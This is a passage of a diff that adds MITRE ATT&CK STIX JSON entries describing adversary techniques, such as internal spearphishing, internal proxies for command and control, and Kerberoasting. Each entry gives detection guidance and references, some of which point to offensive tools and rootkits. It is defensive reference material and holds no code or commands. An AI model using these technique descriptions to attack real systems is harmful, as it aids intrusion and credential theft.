Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)", + "x_mitre_remote_support": true, + "x_mitre_detection": "Monitor for strings in files/commands, loaded DLLs/libraries, or spawned processes that are associated with abuse of IPC mechanisms.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1559", + "external_id": "T1559", + "source_name": "mitre-attack" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html", + "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.", + "source_name": "Fireeye Hunting COM June 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Internal Defacement", + "x_mitre_data_sources": [ + "File: File Modification", + "File: File Creation", + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-29T22:57:04.784Z", + "created": "2020-02-20T14:31:34.778Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103", + "description": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "x_mitre_impact_type": [ + "Integrity" + ], + "x_mitre_detection": "Monitor internal and websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1491/001", + "external_id": "T1491.001", + "source_name": "mitre-attack" + }, + { + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "source_name": "Novetta Blockbuster" + }, + { + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "source_name": "Novetta Blockbuster Destructive Malware" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-15T00:46:26.598Z", + "name": "Internal Proxy", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "created": "2020-03-14T23:08:20.244Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755", + "description": "Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.\n\nBy using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "Analyze network data for uncommon data flows between clients that should not or often do not communicate with one another. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1090/001", + "external_id": "T1090.001", + "source_name": "mitre-attack" + }, + { + "source_name": "Trend Micro APT Attack Tools", + "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Internal Spearphishing", + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-04-14T14:32:14.273Z", + "created": "2019-09-04T19:26:12.441Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "id": "attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux", + "Office 365", + "SaaS", + "Google Workspace" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged attack where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017)\n\nAdversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.\n\nThere have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the attack and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)", + "x_mitre_contributors": [ + "Tim MalcomVetter", + "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)" + ], + "x_mitre_detection": "Network intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing attacks.(Citation: Trend Micro When Phishing Starts from the Inside 2017)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1534", + "external_id": "T1534", + "source_name": "mitre-attack" + }, + { + "source_name": "Trend Micro When Phishing Starts from the Inside 2017", + "description": "Chris Taylor. (2017, October 5). When Phishing Starts from the Inside. Retrieved October 8, 2019.", + "url": "https://blog.trendmicro.com/phishing-starts-inside/" + }, + { + "source_name": "THE FINANCIAL TIMES LTD 2019.", + "description": "THE FINANCIAL TIMES. (2019, September 2). A sobering day. Retrieved October 8, 2019.", + "url": "https://labs.ft.com/2013/05/a-sobering-day/?mhq5j=e6" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Internet Connection Discovery", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2021-03-25T17:03:26.632Z", + "created": "2021-03-17T15:28:10.689Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc", + "description": "Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites.\n\nAdversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to check Internet connectivity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1016/001", + "external_id": "T1016.001", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Invalid Code Signature", + "x_mitre_data_sources": [ + "File: File Metadata" + ], + "x_mitre_version": "1.0", + "modified": "2020-02-10T19:52:47.724Z", + "created": "2020-02-10T19:49:46.752Z", + "x_mitre_platforms": [ + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52", + "description": "Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)\n\nUnlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment, look for invalid signatures as well as unusual certificate characteristics and outliers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1036/001", + "external_id": "T1036.001", + "source_name": "mitre-attack" + }, + { + "url": "https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/", + "description": "Vest, J. (2017, October 9). Borrowing Microsoft MetaData and Signatures to Hide Binary Payloads. Retrieved September 10, 2019.", + "source_name": "Threatexpress MetaTwin 2017" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-08-16T21:02:05.142Z", + "name": "JavaScript", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation", + "Module: Module Load", + "Script: Script Execution" + ], + "x_mitre_version": "2.1", + "created": "2020-06-23T19:12:24.924Z", + "x_mitre_contributors": [ + "Cody Thomas, SpecterOps" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", + "description": "Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)\n\nJScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple\u2019s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple\u2019s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple\u2019s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility osascript, they can be compiled into applications or script files via osacompile, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)\n\nAdversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "x_mitre_detection": "Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nMonitor for execution of JXA through osascript and usage of OSAScript API that may be related to other suspicious behavior occurring on the system.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1059/007", + "external_id": "T1059.007", + "source_name": "mitre-attack" + }, + { + "url": "https://nodejs.org/", + "description": "OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020.", + "source_name": "NodeJS" + }, + { + "url": "https://docs.microsoft.com/windows/win32/com/translating-to-jscript", + "description": "Microsoft. (2018, May 31). Translating to JScript. Retrieved June 23, 2020.", + "source_name": "JScrip May 2018" + }, + { + "url": "https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript", + "description": "Microsoft. (2007, August 15). The World of JScript, JavaScript, ECMAScript \u2026. Retrieved June 23, 2020.", + "source_name": "Microsoft JScript 2007" + }, + { + "url": "https://docs.microsoft.com/scripting/winscript/windows-script-interfaces", + "description": "Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved June 23, 2020.", + "source_name": "Microsoft Windows Scripts" + }, + { + "url": "https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html", + "description": "Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021.", + "source_name": "Apple About Mac Scripting 2016" + }, + { + "url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5", + "description": "Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021.", + "source_name": "SpecterOps JXA 2020" + }, + { + "url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/", + "description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.", + "source_name": "SentinelOne macOS Red Team" + }, + { + "url": "https://redcanary.com/blog/clipping-silver-sparrows-wings/", + "description": "Tony Lambert. (2021, February 18). Clipping Silver Sparrow\u2019s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021.", + "source_name": "Red Canary Silver Sparrow Feb2021" + }, + { + "url": "https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/", + "description": "Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021.", + "source_name": "MDSec macOS JXA and VSCode" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-15T00:30:25.444Z", + "name": "Junk Data", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "created": "2020-03-15T00:30:25.444Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade", + "description": "Adversaries may add junk data to protocols used for command and control to make detection more difficult. By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters. ", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1001/001", + "external_id": "T1001.001", + "source_name": "mitre-attack" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-10-20T19:30:10.297Z", + "name": "Kerberoasting", + "created": "2018-04-18T17:59:24.739Z", + "id": "attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1208", + "external_id": "T1208", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft Detecting Kerberoasting Feb 2018", + "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.", + "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/" + }, + { + "source_name": "Microsoft SPN", + "description": "Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018.", + "url": "https://msdn.microsoft.com/library/ms677949.aspx" + }, + { + "source_name": "Microsoft SetSPN", + "description": "Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018.", + "url": "https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx" + }, + { + "url": "https://redsiege.com/kerberoast-slides", + "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.", + "source_name": "SANS Attacking Kerberos Nov 2014" + }, + { + "source_name": "Harmj0y Kerberoast Nov 2016", + "description": "Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018.", + "url": "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/" + }, + { + "source_name": "Empire InvokeKerberoast Oct 2016", + "description": "EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018.", + "url": "https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1" + }, + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Kerberoasting", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1558/003", + "external_id": "T1558.003", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/509.html", + "external_id": "CAPEC-509", + "source_name": "capec" + }, + { + "source_name": "Empire InvokeKerberoast Oct 2016", + "description": "EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018.", + "url": "https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1" + }, + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + }, + { + "source_name": "Microsoft Detecting Kerberoasting Feb 2018", + "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.", + "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/" + }, + { + "source_name": "Microsoft SPN", + "description": "Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018.", + "url": "https://msdn.microsoft.com/library/ms677949.aspx" + }, + { + "source_name": "Microsoft SetSPN", + "description": "Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018.", + "url": "https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx" + }, + { + "url": "https://redsiege.com/kerberoast-slides", + "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.", + "source_name": "SANS Attacking Kerberos Nov 2014" + }, + { + "source_name": "Harmj0y Kerberoast Nov 2016", + "description": "Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018.", + "url": "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/" + } + ], + "x_mitre_data_sources": [ + "Active Directory: Active Directory Credential Request" + ], + "x_mitre_version": "1.1", + "modified": "2020-10-20T19:30:10.687Z", + "x_mitre_system_requirements": [ + "Valid domain account or the ability to sniff traffic within a domain" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee", + "description": "Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same attack could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_detection": "Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: AdSecurity Cracking Kerberos Dec 2015)", + "created": "2020-02-11T18:43:38.588Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "attack-pattern", + "modified": "2021-03-30T00:59:53.427Z", + "name": "Kernel Modules and Extensions", + "created": "2018-04-18T17:59:24.739Z", + "id": "attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1215", + "external_id": "T1215", + "source_name": "mitre-attack" + }, + { + "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf", + "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.", + "source_name": "Linux Kernel Programming" + }, + { + "source_name": "Linux Kernel Module Programming Guide", + "description": "Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018.", + "url": "http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html" + }, + { + "source_name": "Volatility Phalanx2", + "description": "Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.", + "url": "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html" + }, + { + "source_name": "CrowdStrike Linux Rootkit", + "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.", + "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/" + }, + { + "source_name": "GitHub Reptile", + "description": "Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018.", + "url": "https://github.com/f0rb1dd3n/Reptile" + }, + { + "source_name": "GitHub Diamorphine", + "description": "Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.", + "url": "https://github.com/m0nad/Diamorphine" + }, + { + "source_name": "iDefense Rootkit Overview", + "description": "Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018.", + "url": "http://www.megasecurity.org/papers/Rootkits.pdf" + }, + { + "source_name": "RSAC 2015 San Francisco Patrick Wardle", + "description": "Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + }, + { + "source_name": "Synack Secure Kernel Extension Broken", + "description": "Wardle, P. (2017, September 8). High Sierra\u2019s \u2018Secure Kernel Extension Loading\u2019 is Broken. Retrieved April 6, 2018.", + "url": "https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/" + }, + { + "source_name": "Securelist Ventir", + "description": "Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.", + "url": "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/" + }, + { + "source_name": "Wikipedia Loadable Kernel Module", + "description": "Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.", + "url": "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux" + }, + { + "source_name": "Linux Loadable Kernel Module Insert and Remove LKMs", + "description": "Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018.", + "url": "http://tldp.org/HOWTO/Module-HOWTO/x197.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Kernel Modules and Extensions", + "x_mitre_data_sources": [ + "File: File Modification", + "Command: Command Execution", + "File: File Creation", + "Kernel: Kernel Module Load" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-19T04:03:46.357Z", + "created": "2020-01-24T17:42:23.339Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "id": "attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6", + "x_mitre_platforms": [ + "macOS", + "Linux" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "root" + ], + "description": "Adversaries may 